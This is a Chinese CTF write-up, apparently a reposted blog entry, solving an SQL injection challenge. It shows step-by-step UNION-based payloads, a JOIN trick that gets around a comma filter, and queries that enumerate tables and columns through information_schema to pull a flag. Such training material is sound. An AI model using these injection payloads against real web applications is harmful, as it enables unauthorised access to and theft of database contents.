1. 程式人生 > >2018小訓—“百度杯”CTF比賽_九月場_SQLi

2018小訓—“百度杯”CTF比賽_九月場_SQLi

sci ase dex https lock concat 圖片 數據庫 ack

題目源:  i春秋CTF大本營

小工具:  Burp Suite(抓包神器)

思路點用黃色加粗標記,操作點用綠色加粗標記

解題的流程:

    1.點進去一片空白習慣性,看源碼。<!-- login.php?id=1 -->,看來要改改url。將原來的"/XXXXXX.php"換成“/login.php?id=1”。訪問之後思維變成了直接開註入?但是沒什麽用。。。如果這時用sqlmap測試會發現這是個假的註入點。真的在哪裏?只能猜猜,訪問index.php。在控制臺中發現了重定向302的相應headers,找到了真實的註入點:"/l0gin.php?id=1",將原來的"/XXXXXX.php"換成“/l0gin.php?id=1”

    技術分享圖片

技術分享圖片

    2.開始測試註入點:測註入點類型——>測id關鍵字的數據類型(!!!這個很重要,wp都不怎麽講這個)。依次測試[1‘,1‘‘,‘ ‘1]這是字符型的測試序列,測試[9-8,66-ascii(‘A‘),50-ascii(1)]這是數字型的測試序列(參考《黑客攻防技術寶典Web實戰》)。判斷這是個字符型的註入點。然後輸入“1 and”判斷id的數據類型是int。其中的門道見:

    3.查詢字段數,使用order by,"?id=1‘ order by 3 --"確定是兩個字段,可以對照by 1,by 2,發現判斷的依據。

  技術分享圖片

    4.查詢當前的數據庫名,使用database(),"?id=1‘ select 1,database(),3 -- ‘",看到返回結果,顯然是逗號之後的東西被吃掉了。。。

技術分享圖片

     這就要想辦法繞過逗號的使用,百度或者谷歌,解決方案是join連接表:(參考一下:https://blog.csdn.net/qq_33020901/article/details/78906268)。樣式總結就是

     >>select * from ((select 1)a join (select 2)b);/*還可以連接單個字段的表*/

    "?id=‘ union select * from ((select database())a join (select version())b) -- ‘"(記得把1去掉,因為題目只返回第一條查詢記錄,有了1,就看不見第二條了)

技術分享圖片

    5.查詢表名

上面的payload已經造出來了,替換第一個select就可(其實可以跳過第四步,但是練手嘛,一步步來,思路清晰)

    "?id=‘ union select * from ((select group_concat(table_name) from information_schema.tables where table_schema=database())a join (select version())b) -- ‘"

技術分享圖片

    6.查詢該表的字段名稱

    “?id=‘ union select * from ((select group_concat(column_name) from information_schema.columns where table_name=‘users‘)a join (select version())b) -- ‘

技術分享圖片

    7.查出flag

    “?id=‘ union select * from ((select flag_9c861b688330 from users where id=1)a join (select version())b) -- ‘

 技術分享圖片

後記:

    1.作者全部手敲的,難免有些小差錯,歡迎留言指出

    2.這個我也不是一次pass,借鑒了好幾篇博文,比如那個逗號的繞過,個人重視的是那個註入點判斷那裏,註入起手式要理清。

2018小訓—“百度杯”CTF比賽_九月場_SQLi